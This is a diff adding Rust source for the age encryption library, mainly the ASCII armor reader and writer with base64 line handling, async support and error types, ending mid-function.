+pub(crate) struct HmacWriter { + inner: Hmac, +} + +impl HmacWriter { + /// Constructs a new writer to process input data. + pub(crate) fn new(key: HmacKey) -> Self { + HmacWriter { + inner: Hmac::new_from_slice(key.0.expose_secret()).expect("key is the correct length"), + } + } + + /// Checks if `mac` is correct for the processed input. + pub(crate) fn finalize(self) -> CtOutput> { + self.inner.finalize() + } + + /// Checks if `mac` is correct for the processed input. + pub(crate) fn verify(self, mac: &[u8]) -> Result<(), MacError> { + self.inner.verify_slice(mac) + } +} + +impl Write for HmacWriter { + fn write(&mut self, data: &[u8]) -> io::Result { + self.inner.update(data); + Ok(data.len()) + } + + fn flush(&mut self) -> io::Result<()> { + Ok(()) + } +} + +/// `scrypt[salt, N](password)` +/// +/// scrypt from [RFC 7914] with r = 8 and P = 1. N must be a power of 2. +/// +/// [RFC 7914]: https://tools.ietf.org/html/rfc7914 +pub(crate) fn scrypt(salt: &[u8], log_n: u8, password: &str) -> Result<[u8; 32], InvalidParams> { + let params = ScryptParams::new(log_n, 8, 1, 32)?; + + let mut output = [0; 32]; + scrypt_inner(password.as_bytes(), salt, ¶ms, &mut output) + .expect("output is the correct length"); + Ok(output) +} diff --git a/lib/rage/age/src/primitives/armor.rs b/lib/rage/age/src/primitives/armor.rs new file mode 100644 index 0000000..c1ba968 --- /dev/null +++ b/lib/rage/age/src/primitives/armor.rs @@ -0,0 +1,1526 @@ +//! I/O helper structs for the age ASCII armor format. + +use base64::{prelude::BASE64_STANDARD, Engine}; +use pin_project::pin_project; +use std::cmp; +use std::error; +use std::fmt; +use std::io::{self, BufRead, BufReader, Read, Seek, SeekFrom, Write}; +use zeroize::Zeroizing; + +use crate::util::LINE_ENDING; + +#[cfg(feature = "async")] +use futures::{ + io::{AsyncBufRead, AsyncRead, AsyncWrite, BufReader as AsyncBufReader, Error}, + ready, + task::{Context, Poll}, +}; +#[cfg(feature = "async")] +use std::mem; +#[cfg(feature = "async")] +use std::ops::DerefMut; +#[cfg(feature = "async")] +use std::pin::Pin; +#[cfg(feature = "async")] +use std::str; + +const ARMORED_COLUMNS_PER_LINE: usize = 64; +const ARMORED_BYTES_PER_LINE: usize = ARMORED_COLUMNS_PER_LINE / 4 * 3; +const ARMORED_BEGIN_MARKER: &str = "-----BEGIN AGE ENCRYPTED FILE-----"; +const ARMORED_END_MARKER: &str = "-----END AGE ENCRYPTED FILE-----"; + +const MIN_ARMOR_LEN: usize = 36; // ARMORED_BEGIN_MARKER.len() + 2 + +const BASE64_CHUNK_SIZE_COLUMNS: usize = 8 * 1024; +const BASE64_CHUNK_SIZE_BYTES: usize = BASE64_CHUNK_SIZE_COLUMNS / 4 * 3; + +/// Specifies the format that [`ArmoredWriter`] should apply to its output. +pub enum Format { + /// age binary format. + Binary, + /// ASCII armored format. + AsciiArmor, +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +struct EncodedLine { + bytes: Vec, + offset: usize, +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +struct EncodedBytes { + offset: usize, + end: usize, +} + +#[pin_project(project = LineEndingWriterProj)] +pub(crate) struct LineEndingWriter { + #[pin] + inner: W, + buf: Vec, + total_written: usize, + + /// None if `AsyncWrite::poll_closed` has been called. + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + line: Option>, + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + line_with_ending: Option, +} + +impl LineEndingWriter { + fn new(mut inner: W) -> io::Result { + // Write the begin marker + inner.write_all(ARMORED_BEGIN_MARKER.as_bytes())?; + inner.write_all(LINE_ENDING.as_bytes())?; + + Ok(LineEndingWriter { + inner, + buf: Vec::with_capacity(8 * 1024), + total_written: 0, + #[cfg(feature = "async")] + line: None, + #[cfg(feature = "async")] + line_with_ending: None, + }) + } + + fn flush_buffered(&mut self) -> io::Result<()> { + self.inner.write_all(&self.buf)?; + self.total_written += self.buf.len(); + self.buf.clear(); + Ok(()) + } + + fn finish(mut self) -> io::Result { + // Ensure all bytes have been written. + self.flush_buffered()?; + + // Write the end marker + self.inner.write_all(LINE_ENDING.as_bytes())?; + self.inner.write_all(ARMORED_END_MARKER.as_bytes())?; + self.inner.write_all(LINE_ENDING.as_bytes())?; + + Ok(self.inner) + } +} + +impl Write for LineEndingWriter { + fn write(&mut self, mut buf: &[u8]) -> io::Result { + if buf.is_empty() { + return Ok(0); + } + let written = buf.len(); + + while !buf.is_empty() { + let remaining = + ARMORED_COLUMNS_PER_LINE - (self.total_written % ARMORED_COLUMNS_PER_LINE); + + // Write the next newline if we are at the end of the line. + if remaining == ARMORED_COLUMNS_PER_LINE && self.total_written > 0 { + self.buf.extend_from_slice(LINE_ENDING.as_bytes()); + } + let to_write = cmp::min(remaining, buf.len()); + + self.buf.extend_from_slice(&buf[..to_write]); + buf = &buf[to_write..]; + self.total_written += to_write; + } + + // Write the buffer to the inner writer, and drop the written bytes. We trigger + // this when we are close to the buffer's capacity, to avoid reallocation. + if self.buf.len() + 1024 > self.buf.capacity() { + let inner_written = self.inner.write(&self.buf)?; + let mut i = 0; + self.buf.retain(|_| { + let b = i >= inner_written; + i += 1; + b + }); + } + + // We always return the number of bytes we consumed, not how many we actually + // wrote to the inner writer. Any discrepancy is handled in self.flush(). + Ok(written) + } + + fn flush(&mut self) -> io::Result<()> { + self.flush_buffered()?; + self.inner.flush() + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl LineEndingWriter { + fn new_async(inner: W) -> Self { + // Write the begin marker + let bytes = [ARMORED_BEGIN_MARKER.as_bytes(), LINE_ENDING.as_bytes()].concat(); + + LineEndingWriter { + inner, + buf: vec![], + total_written: 0, + line: Some(Vec::with_capacity(ARMORED_COLUMNS_PER_LINE)), + line_with_ending: Some(EncodedLine { bytes, offset: 0 }), + } + } + + fn poll_flush_line(self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + let LineEndingWriterProj { + mut inner, + line_with_ending, + .. + } = self.project(); + + if let Some(line) = line_with_ending { + loop { + line.offset += ready!(inner.as_mut().poll_write(cx, &line.bytes[line.offset..]))?; + if line.offset == line.bytes.len() { + break; + } + } + } + *line_with_ending = None; + + Poll::Ready(Ok(())) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncWrite for LineEndingWriter { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context, + mut buf: &[u8], + ) -> Poll> { + ready!(self.as_mut().poll_flush_line(cx))?; + + let this = self.as_mut().project(); + if let Some(line) = this.line { + let mut to_write = ARMORED_COLUMNS_PER_LINE - line.len(); + if to_write > buf.len() { + to_write = buf.len() + } + + line.extend_from_slice(&buf[..to_write]); + buf = &buf[to_write..]; + + // At this point, either buf is empty, or we have a complete line. + assert!(buf.is_empty() || line.len() == ARMORED_COLUMNS_PER_LINE); + + // Only add a line ending if we have more data to write, as the last + // line must be written in poll_close(). + if !buf.is_empty() { + *this.line_with_ending = Some(EncodedLine { + bytes: [line, LINE_ENDING.as_bytes()].concat(), + offset: 0, + }); + line.clear(); + } + + Poll::Ready(Ok(to_write)) + } else { + Poll::Ready(Err(io::Error::new( + io::ErrorKind::WriteZero, + "AsyncWrite::poll_closed has been called", + ))) + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + ready!(self.as_mut().poll_flush_line(cx))?; + self.project().inner.poll_flush(cx) + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + // Flush any remaining line bytes. + ready!(self.as_mut().poll_flush_line(cx))?; + + let this = self.as_mut().project(); + if let Some(line) = this.line { + // Finish the armored format with a partial line (if necessary) and the end + // marker. + *this.line_with_ending = Some(EncodedLine { + bytes: [ + line, + LINE_ENDING.as_bytes(), + ARMORED_END_MARKER.as_bytes(), + LINE_ENDING.as_bytes(), + ] + .concat(), + offset: 0, + }); + } + *this.line = None; + + // Flush the final line (if we didn't in the first call). + ready!(self.as_mut().poll_flush_line(cx))?; + self.project().inner.poll_close(cx) + } +} + +#[pin_project(project = ArmorIsProj)] +enum ArmorIs { + Enabled { + #[pin] + inner: LineEndingWriter, + byte_buf: Option>, + encoded_buf: Box<[u8; BASE64_CHUNK_SIZE_COLUMNS]>, + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + encoded_line: Option, + }, + + Disabled { + #[pin] + inner: W, + }, +} + +/// Writer that optionally applies the age ASCII armor format. +/// +/// # Examples +/// +/// ``` +/// # use std::io::Read; +/// use std::io::Write; +/// use std::iter; +/// +/// # fn run_main() -> Result<(), ()> { +/// # let identity = age::x25519::Identity::generate(); +/// # let load_recipient = || Ok(identity.to_public()); +/// let recipient = load_recipient()?; +/// let plaintext = b"Hello world!"; +/// +/// # fn encrypt(recipient: age::x25519::Recipient, plaintext: &[u8]) -> Result, age::EncryptError> { +/// let encrypted = { +/// let encryptor = age::Encryptor::with_recipients(iter::once(&recipient as _)) +/// .expect("we provided a recipient"); +/// +/// let mut encrypted = vec![]; +/// let mut writer = encryptor.wrap_output( +/// age::armor::ArmoredWriter::wrap_output( +/// &mut encrypted, +/// age::armor::Format::AsciiArmor, +/// )? +/// )?; +/// writer.write_all(plaintext)?; +/// writer.finish() +/// .and_then(|armor| armor.finish())?; +/// +/// encrypted +/// }; +/// # Ok(encrypted) +/// # } +/// # fn decrypt(identity: age::x25519::Identity, encrypted: Vec) -> Result, age::DecryptError> { +/// # let decrypted = { +/// # let decryptor = age::Decryptor::new(age::armor::ArmoredReader::new(&encrypted[..]))?; +/// # let mut decrypted = vec![]; +/// # let mut reader = decryptor.decrypt(iter::once(&identity as &dyn age::Identity))?; +/// # reader.read_to_end(&mut decrypted); +/// # decrypted +/// # }; +/// # Ok(decrypted) +/// # } +/// # let decrypted = decrypt( +/// # identity, +/// # encrypt(recipient, &plaintext[..]).map_err(|_| ())? +/// # ).map_err(|_| ())?; +/// # assert_eq!(decrypted, plaintext); +/// # Ok(()) +/// # } +/// # run_main().unwrap(); +/// ``` +#[pin_project] +pub struct ArmoredWriter(#[pin] ArmorIs); + +impl ArmoredWriter { + /// Wraps the given output in an `ArmoredWriter` that will apply the given [`Format`]. + pub fn wrap_output(output: W, format: Format) -> io::Result { + match format { + Format::AsciiArmor => LineEndingWriter::new(output).map(|w| { + ArmoredWriter(ArmorIs::Enabled { + inner: w, + byte_buf: Some(Vec::with_capacity(BASE64_CHUNK_SIZE_BYTES)), + encoded_buf: Box::new([0; BASE64_CHUNK_SIZE_COLUMNS]), + #[cfg(feature = "async")] + encoded_line: None, + }) + }), + Format::Binary => Ok(ArmoredWriter(ArmorIs::Disabled { inner: output })), + } + } + + /// Writes the end marker of the age file, if armoring was enabled. + /// + /// You **MUST** call `finish` when you are done writing, in order to finish the + /// armoring process. Failing to call `finish` will result in a truncated file that + /// that will fail to decrypt. + pub fn finish(self) -> io::Result { + match self.0 { + ArmorIs::Enabled { + mut inner, + byte_buf, + mut encoded_buf, + .. + } => { + let byte_buf = byte_buf.unwrap(); + let encoded = BASE64_STANDARD + .encode_slice(&byte_buf, &mut encoded_buf[..]) + .expect("byte_buf.len() <= BASE64_CHUNK_SIZE_BYTES"); + inner.write_all(&encoded_buf[..encoded])?; + inner.finish() + } + ArmorIs::Disabled { inner } => Ok(inner), + } + } +} + +impl Write for ArmoredWriter { + fn write(&mut self, mut buf: &[u8]) -> io::Result { + match &mut self.0 { + ArmorIs::Enabled { + inner, + byte_buf, + encoded_buf, + .. + } => { + // Guaranteed to be Some (as long as async and sync writing isn't mixed), + // because ArmoredWriter::finish consumes self. + let byte_buf = byte_buf.as_mut().unwrap(); + + let mut written = 0; + loop { + let mut to_write = BASE64_CHUNK_SIZE_BYTES - byte_buf.len(); + if to_write > buf.len() { + to_write = buf.len() + } + + byte_buf.extend_from_slice(&buf[..to_write]); + buf = &buf[to_write..]; + written += to_write; + + // At this point, either buf is empty, or we have a full line. + assert!(buf.is_empty() || byte_buf.len() == BASE64_CHUNK_SIZE_BYTES); + + // Only encode the line if we have more data to write, as the last + // (possibly-partial) line must be written in finish(). + if buf.is_empty() { + break; + } else { + assert_eq!( + BASE64_STANDARD + .encode_slice(&byte_buf, &mut encoded_buf[..]) + .expect("byte_buf.len() <= BASE64_CHUNK_SIZE_BYTES"), + BASE64_CHUNK_SIZE_COLUMNS + ); + inner.write_all(&encoded_buf[..])?; + byte_buf.clear(); + }; + } + + Ok(written) + } + ArmorIs::Disabled { inner } => inner.write(buf), + } + } + + fn flush(&mut self) -> io::Result<()> { + match &mut self.0 { + ArmorIs::Enabled { inner, .. } => inner.flush(), + ArmorIs::Disabled { inner } => inner.flush(), + } + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl ArmoredWriter { + /// Wraps the given output in an `ArmoredWriter` that will apply the given [`Format`]. + pub fn wrap_async_output(output: W, format: Format) -> Self { + match format { + Format::AsciiArmor => ArmoredWriter(ArmorIs::Enabled { + inner: LineEndingWriter::new_async(output), + byte_buf: Some(Vec::with_capacity(BASE64_CHUNK_SIZE_BYTES)), + encoded_buf: Box::new([0; BASE64_CHUNK_SIZE_COLUMNS]), + encoded_line: None, + }), + Format::Binary => ArmoredWriter(ArmorIs::Disabled { inner: output }), + } + } + + fn poll_flush_line(self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + if let ArmorIsProj::Enabled { + mut inner, + encoded_buf, + encoded_line, + .. + } = self.project().0.project() + { + if let Some(line) = encoded_line { + loop { + line.offset += ready!(inner + .as_mut() + .poll_write(cx, &encoded_buf[line.offset..line.end]))?; + if line.offset == line.end { + break; + } + } + } + *encoded_line = None; + } + + Poll::Ready(Ok(())) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncWrite for ArmoredWriter { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context, + mut buf: &[u8], + ) -> Poll> { + ready!(self.as_mut().poll_flush_line(cx))?; + + match self.project().0.project() { + ArmorIsProj::Enabled { + byte_buf, + encoded_buf, + encoded_line, + .. + } => { + if let Some(byte_buf) = byte_buf { + let mut to_write = BASE64_CHUNK_SIZE_BYTES - byte_buf.len(); + if to_write > buf.len() { + to_write = buf.len() + } + + byte_buf.extend_from_slice(&buf[..to_write]); + buf = &buf[to_write..]; + + // At this point, either buf is empty, or we have a full line. + assert!(buf.is_empty() || byte_buf.len() == BASE64_CHUNK_SIZE_BYTES); + + // Only encode the line if we have more data to write, as the last + // line must be written in poll_close(). + if !buf.is_empty() { + assert_eq!( + BASE64_STANDARD + .encode_slice(&byte_buf, &mut encoded_buf[..],) + .expect("byte_buf.len() <= BASE64_CHUNK_SIZE_BYTES"), + ARMORED_COLUMNS_PER_LINE + ); + *encoded_line = Some(EncodedBytes { + offset: 0, + end: ARMORED_COLUMNS_PER_LINE, + }); + byte_buf.clear(); + } + + Poll::Ready(Ok(to_write)) + } else { + Poll::Ready(Err(io::Error::new( + io::ErrorKind::WriteZero, + "AsyncWrite::poll_closed has been called", + ))) + } + } + ArmorIsProj::Disabled { inner } => inner.poll_write(cx, buf), + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + ready!(self.as_mut().poll_flush_line(cx))?; + match self.project().0.project() { + ArmorIsProj::Enabled { inner, .. } => inner.poll_flush(cx), + ArmorIsProj::Disabled { inner } => inner.poll_flush(cx), + } + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + // Flush any remaining encoded line bytes. + ready!(self.as_mut().poll_flush_line(cx))?; + + if let ArmorIsProj::Enabled { + byte_buf, + encoded_buf, + encoded_line, + .. + } = self.as_mut().project().0.project() + { + if let Some(byte_buf) = byte_buf { + // Finish the armored format with a partial line (if necessary) and the end + // marker. + let encoded = BASE64_STANDARD + .encode_slice(&byte_buf, &mut encoded_buf[..]) + .expect("byte_buf.len() <= BASE64_CHUNK_SIZE_BYTES"); + *encoded_line = Some(EncodedBytes { + offset: 0, + end: encoded, + }); + } + *byte_buf = None; + } + + // Flush the final chunk (if we didn't in the first call). + ready!(self.as_mut().poll_flush_line(cx))?; + + match self.project().0.project() { + ArmorIsProj::Enabled { inner, .. } => inner.poll_close(cx), + ArmorIsProj::Disabled { inner } => inner.poll_close(cx), + } + } +} + +/// The various errors that can be returned while parsing the armored format. +#[derive(Debug)] +pub enum ArmoredReadError { + /// An error occurred while parsing Base64. + Base64(base64::DecodeSliceError), + /// The begin marker for the armor is invalid. + InvalidBeginMarker, + /// Invalid UTF-8 characters were encountered between the begin and end marker. + InvalidUtf8, + /// A line of the armor contains a `\r` character. + LineContainsCr, + /// The final Base64 line is non-canonical. + MissingPadding, + /// The armor is not wrapped at 64 characters. + NotWrappedAt64Chars, + /// There is a short line in the middle of the armor (only the final line may be short). + ShortLineInMiddle, + /// There are trailing non-whitespace characters after the end marker. + TrailingGarbage, +} + +impl fmt::Display for ArmoredReadError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + ArmoredReadError::Base64(e) => e.fmt(f), + ArmoredReadError::InvalidBeginMarker => write!(f, "invalid armor begin marker"), + ArmoredReadError::InvalidUtf8 => write!(f, "stream did not contain valid UTF-8"), + ArmoredReadError::LineContainsCr => write!(f, "line contains CR"), + ArmoredReadError::MissingPadding => { + write!(f, "invalid armor (last line is missing padding)") + } + ArmoredReadError::NotWrappedAt64Chars => { + write!(f, "invalid armor (not wrapped at 64 characters)") + } + ArmoredReadError::ShortLineInMiddle => { + write!(f, "invalid armor (short line in middle of encoding)") + } + ArmoredReadError::TrailingGarbage => { + write!( + f, + "invalid armor (non-whitespace characters after end marker)" + ) + } + } + } +} + +impl error::Error for ArmoredReadError {} + +/// The position in the underlying reader corresponding to the start of the data inside +/// the armor. +/// +/// To impl Seek for ArmoredReader, we need to know the point in the reader corresponding +/// to the first byte of the armored data. But we can't query the reader for its current +/// position without having a specific constructor for `R: Read + Seek`, which makes the +/// higher-level API more complex. Instead, we count the number of bytes that have been +/// read from the reader: +/// - If armor is enabled, we count starting from after the first line (which is the armor +/// begin marker). +/// - If armor is disabled, we count from the first byte we read. +/// +/// Then when we first need to seek, inside `impl Seek` we can query the reader's current +/// position and figure out where the start was. +#[derive(Debug)] +enum StartPos { + /// An offset that we can subtract from the current position. + Implicit(u64), + /// The precise start position. + Explicit(u64), +} + +/// Reader that will parse the age ASCII armor format if detected. +/// +/// # Examples +/// +/// ``` +/// use std::io::Read; +/// # use std::io::Write; +/// use std::iter; +/// +/// # fn run_main() -> Result<(), ()> { +/// # fn encrypt(recipient: age::x25519::Recipient, plaintext: &[u8]) -> Result, age::EncryptError> { +/// # let encrypted = { +/// # let encryptor = age::Encryptor::with_recipients(iter::once(&recipient as _)) +/// # .expect("we provided a recipient"); +/// # let mut encrypted = vec![]; +/// # let mut writer = encryptor.wrap_output( +/// # age::armor::ArmoredWriter::wrap_output( +/// # &mut encrypted, +/// # age::armor::Format::AsciiArmor, +/// # )? +/// # )?; +/// # writer.write_all(plaintext)?; +/// # writer.finish() +/// # .and_then(|armor| armor.finish())?; +/// # encrypted +/// # }; +/// # Ok(encrypted) +/// # } +/// # let load_identity = || Ok(age::x25519::Identity::generate()); +/// let identity = load_identity()?; +/// # let plaintext = b"Hello world!"; +/// # let load_encrypted_file = || encrypt(identity.to_public(), &plaintext[..]).map_err(|_| ()); +/// let encrypted = load_encrypted_file()?; +/// +/// # fn decrypt(identity: age::x25519::Identity, encrypted: Vec) -> Result, age::DecryptError> { +/// let decrypted = { +/// let decryptor = age::Decryptor::new(age::armor::ArmoredReader::new(&encrypted[..]))?; +/// +/// let mut decrypted = vec![]; +/// let mut reader = decryptor.decrypt(iter::once(&identity as &dyn age::Identity))?; +/// reader.read_to_end(&mut decrypted); +/// +/// decrypted +/// }; +/// # Ok(decrypted) +/// # } +/// # let decrypted = decrypt(identity, encrypted).map_err(|_| ())?; +/// # assert_eq!(decrypted, plaintext); +/// # Ok(()) +/// # } +/// # run_main().unwrap(); +/// ``` +#[pin_project] +pub struct ArmoredReader { + #[pin] + inner: R, + start: StartPos, + is_armored: Option, + line_buf: Zeroizing, + byte_buf: Zeroizing<[u8; ARMORED_BYTES_PER_LINE]>, + byte_start: usize, + byte_end: usize, + found_short_line: bool, + found_end: bool, + data_len: Option, + data_read: usize, +} + +impl ArmoredReader> { + /// Wraps a reader that may contain an armored age file. + pub fn new(reader: R) -> Self { + ArmoredReader::with_buffered(BufReader::new(reader)) + } +} + +#[cfg(feature = "cli-common")] +impl ArmoredReader { + /// Wraps a buffered reader that may contain an armored age file. + pub(crate) fn new_buffered(reader: R) -> Self { + ArmoredReader::with_buffered(reader) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl ArmoredReader> { + /// Wraps a reader that may contain an armored age file. + pub fn from_async_reader(inner: R) -> Self { + ArmoredReader::with_buffered(AsyncBufReader::new(inner)) + } +} + +impl ArmoredReader { + fn with_buffered(inner: R) -> Self { + ArmoredReader { + inner, + start: StartPos::Implicit(0), + is_armored: None, + line_buf: Zeroizing::new(String::with_capacity(ARMORED_COLUMNS_PER_LINE + 2)), + byte_buf: Zeroizing::new([0; ARMORED_BYTES_PER_LINE]), + byte_start: ARMORED_BYTES_PER_LINE, + byte_end: ARMORED_BYTES_PER_LINE, + found_short_line: false, + found_end: false, + data_len: None, + data_read: 0, + } + } + + fn count_reader_bytes(&mut self, read: usize) -> usize { + // We only need to count if we haven't yet worked out the start position. + if let StartPos::Implicit(offset) = &mut self.start { + *offset += read as u64; + } + + // Return the counted bytes for convenience. + read + } + + /// Detects whether this is an armored age file. + /// + /// We only use ArmoredReader to read age files, so we can rely on the following + /// properties: + /// + /// - The first line of an armored age file is 35-36 bytes, depending on whether CRLF + /// or LF is used. + /// - A non-armored age file with a v1 header will be a minimum of 70 bytes (22-byte + /// version line, 48-byte MAC line). + /// - A non-armored age file with an unknown header version will be a minimum of 21 + /// bytes (for a one-character version). However, assuming that age continues to + /// target at least the 128-bit security level, any future header version must + /// contain at least 16 more bytes, for a total minimum of 37 bytes. + /// + /// We therefore read exactly 36 bytes from the underlying reader, and parse it within + /// the internal buffer to determine whether this is an armored age file. + fn detect_armor(&mut self) -> io::Result<()> { + if self.is_armored.is_some() { + panic!("ArmoredReader::detect_armor() called twice"); + } + + const MARKER_LEN: usize = MIN_ARMOR_LEN - 2; + + // The first line of armor is the armor marker followed by either + // CRLF or LF. + let is_armored = &self.byte_buf[..MARKER_LEN] == ARMORED_BEGIN_MARKER.as_bytes(); + if is_armored { + match ( + &self.byte_buf[MARKER_LEN..=MARKER_LEN], + &self.byte_buf[MARKER_LEN..MIN_ARMOR_LEN], + ) { + (b"\n", _) => { + // We read one extra byte. If this is a valid armored file, that byte + // is valid UTF-8, so we can move it into the line buffer. + self.line_buf.push_str( + std::str::from_utf8(&self.byte_buf[MARKER_LEN + 1..MIN_ARMOR_LEN]) + .map_err(|_| { + io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::InvalidUtf8, + ) + })?, + ); + self.count_reader_bytes(1); + } + (_, b"\r\n") => (), + (_, _) => { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::InvalidBeginMarker, + )) + } + } + } else { + // Not armored, so the first line is part of the data. + self.byte_start = 0; + self.byte_end = MIN_ARMOR_LEN; + self.count_reader_bytes(MIN_ARMOR_LEN); + } + + self.is_armored = Some(is_armored); + Ok(()) + } + + /// Validates `self.line_buf` and parses it into `self.byte_buf`. + /// + /// Returns `true` if this was the last line. + fn parse_armor_line(&mut self) -> io::Result { + // Handle line endings + let line = if self.line_buf.ends_with("\r\n") { + // trim_end_matches will trim the pattern repeatedly, but because + // BufRead::read_line splits on line endings, this will never occur. + self.line_buf.trim_end_matches("\r\n") + } else if self.line_buf.ends_with('\n') { + self.line_buf.trim_end_matches('\n') + } else { + // If the line does not end in a `\n`, then it must be the final line in the + // file, because we parse the file into lines by splitting on `\n`. This will + // either be an invalid line (and be caught as a different error), or the end + // marker (which we allow to omit a trailing `\n`). + &self.line_buf + }; + if line.contains('\r') { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::LineContainsCr, + )); + } + + // Enforce canonical armor format + if line == ARMORED_END_MARKER { + // This line is the EOF marker; we are done! + self.found_end = true; + return Ok(true); + } else { + match (self.found_short_line, line.len()) { + (false, ARMORED_COLUMNS_PER_LINE) => (), + (false, n) if n % 4 != 0 => { + // The `base64` crate does not (yet) support canonical decoding. + // Handle this ourselves until the upstream issue is closed: + // https://github.com/marshallpierce/rust-base64/issues/182 + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::MissingPadding, + )); + } + (false, n) if n < ARMORED_COLUMNS_PER_LINE => { + // The format may contain a single short line at the end. + self.found_short_line = true; + } + (true, ARMORED_COLUMNS_PER_LINE) => { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::ShortLineInMiddle, + )); + } + _ => { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::NotWrappedAt64Chars, + )); + } + } + } + + // Decode the line + self.byte_start = 0; + self.byte_end = BASE64_STANDARD + .decode_slice(line.as_bytes(), self.byte_buf.as_mut()) + .map_err(|e| io::Error::new(io::ErrorKind::InvalidData, ArmoredReadError::Base64(e)))?; + + // Finished with this buffered line! + self.line_buf.clear(); + + // We haven't found the end yet + Ok(false) + } +} + +impl BufRead for ArmoredReader { + fn fill_buf(&mut self) -> io::Result<&[u8]> { + loop { + match self.is_armored { + None => { + self.inner.read_exact(&mut self.byte_buf[..MIN_ARMOR_LEN])?; + self.detect_armor()? + } + Some(false) => { + break if self.byte_start >= self.byte_end { + self.inner.read(&mut self.byte_buf[..]).map(|read| { + self.byte_start = 0; + self.byte_end = read; + self.count_reader_bytes(read); + &self.byte_buf[..read] + }) + } else { + Ok(&self.byte_buf[self.byte_start..self.byte_end]) + } + } + Some(true) => { + break if self.found_end { + Ok(&[]) + } else if self.byte_start >= self.byte_end { + if self.read_next_armor_line()? { + Ok(&[]) + } else { + Ok(&self.byte_buf[self.byte_start..self.byte_end]) + } + } else { + Ok(&self.byte_buf[self.byte_start..self.byte_end]) + } + } + } + } + } + + fn consume(&mut self, amt: usize) { + self.byte_start += amt; + self.data_read += amt; + assert!(self.byte_start <= self.byte_end); + } +} + +impl ArmoredReader { + /// Fills `self.byte_buf` with the next line of armored data. + /// + /// Returns `true` if this was the last line. + fn read_next_armor_line(&mut self) -> io::Result { + assert_eq!(self.is_armored, Some(true)); + + // Read the next line + self.inner + .read_line(&mut self.line_buf) + .map(|read| self.count_reader_bytes(read))?; + + // Parse the line into bytes + if self.parse_armor_line()? { + // This was the last line! Check for trailing garbage. + loop { + let amt = match self.inner.fill_buf()? { + &[] => break, + buf => { + if buf.iter().any(|b| !b.is_ascii_whitespace()) { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::TrailingGarbage, + )); + } + buf.len() + } + }; + self.inner.consume(amt); + } + Ok(true) + } else { + Ok(false) + } + } +} + +impl Read for ArmoredReader { + fn read(&mut self, mut buf: &mut [u8]) -> io::Result { + let buf_len = buf.len(); + + while !buf.is_empty() { + match self.fill_buf()? { + [] => break, + next => { + let read = cmp::min(next.len(), buf.len()); + + if next.len() < buf.len() { + buf[..read].copy_from_slice(next); + } else { + buf.copy_from_slice(&next[..read]); + } + + self.consume(read); + buf = &mut buf[read..]; + } + } + } + + Ok(buf_len - buf.len()) + } +} + +/// Copied from `futures_util::io::read_until::read_until_internal`. +#[cfg(feature = "async")] +fn read_until_internal( + mut reader: Pin<&mut R>, + cx: &mut Context<'_>, + byte: u8, + buf: &mut Vec, + read: &mut usize, +) -> Poll> { + loop { + let (done, used) = { + let available = ready!(reader.as_mut().poll_fill_buf(cx))?; + if let Some(i) = memchr::memchr(byte, available) { + buf.extend_from_slice(&available[..=i]); + (true, i + 1) + } else { + buf.extend_from_slice(available); + (false, available.len()) + } + }; + reader.as_mut().consume(used); + *read += used; + if done || used == 0 { + return Poll::Ready(Ok(mem::replace(read, 0))); + } + } +} + +/// Adapted from `futures_util::io::read_line::read_line_internal`. +#[cfg(feature = "async")] +fn read_line_internal( + reader: Pin<&mut R>, + cx: &mut Context<'_>, + buf: &mut String, + bytes: &mut Vec, + read: &mut usize, +) -> Poll> { + let ret = ready!(read_until_internal(reader, cx, b'\n', bytes, read)); + match String::from_utf8(mem::take(bytes)) { + Err(_) => Poll::Ready(ret.and_then(|_| { + Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::InvalidUtf8, + )) + })), + Ok(mut line) => { + debug_assert!(buf.is_empty()); + debug_assert_eq!(*read, 0); + // Safety: `bytes` is a valid UTF-8 because `str::from_utf8` returned `Ok`. + mem::swap(buf, &mut line); + Poll::Ready(ret) + } + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncBufRead for ArmoredReader { + fn poll_fill_buf(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match self.is_armored { + None => { + let mut this = self.as_mut().project(); + let available = loop { + let buf = ready!(this.inner.as_mut().poll_fill_buf(cx))?; + if buf.len() >= MIN_ARMOR_LEN { + break buf; + } + }; + this.byte_buf[..MIN_ARMOR_LEN].copy_from_slice(&available[..MIN_ARMOR_LEN]); + this.inner.as_mut().consume(MIN_ARMOR_LEN); + self.detect_armor()? + } + Some(false) => { + let ret = if self.byte_start >= self.byte_end { + let this = 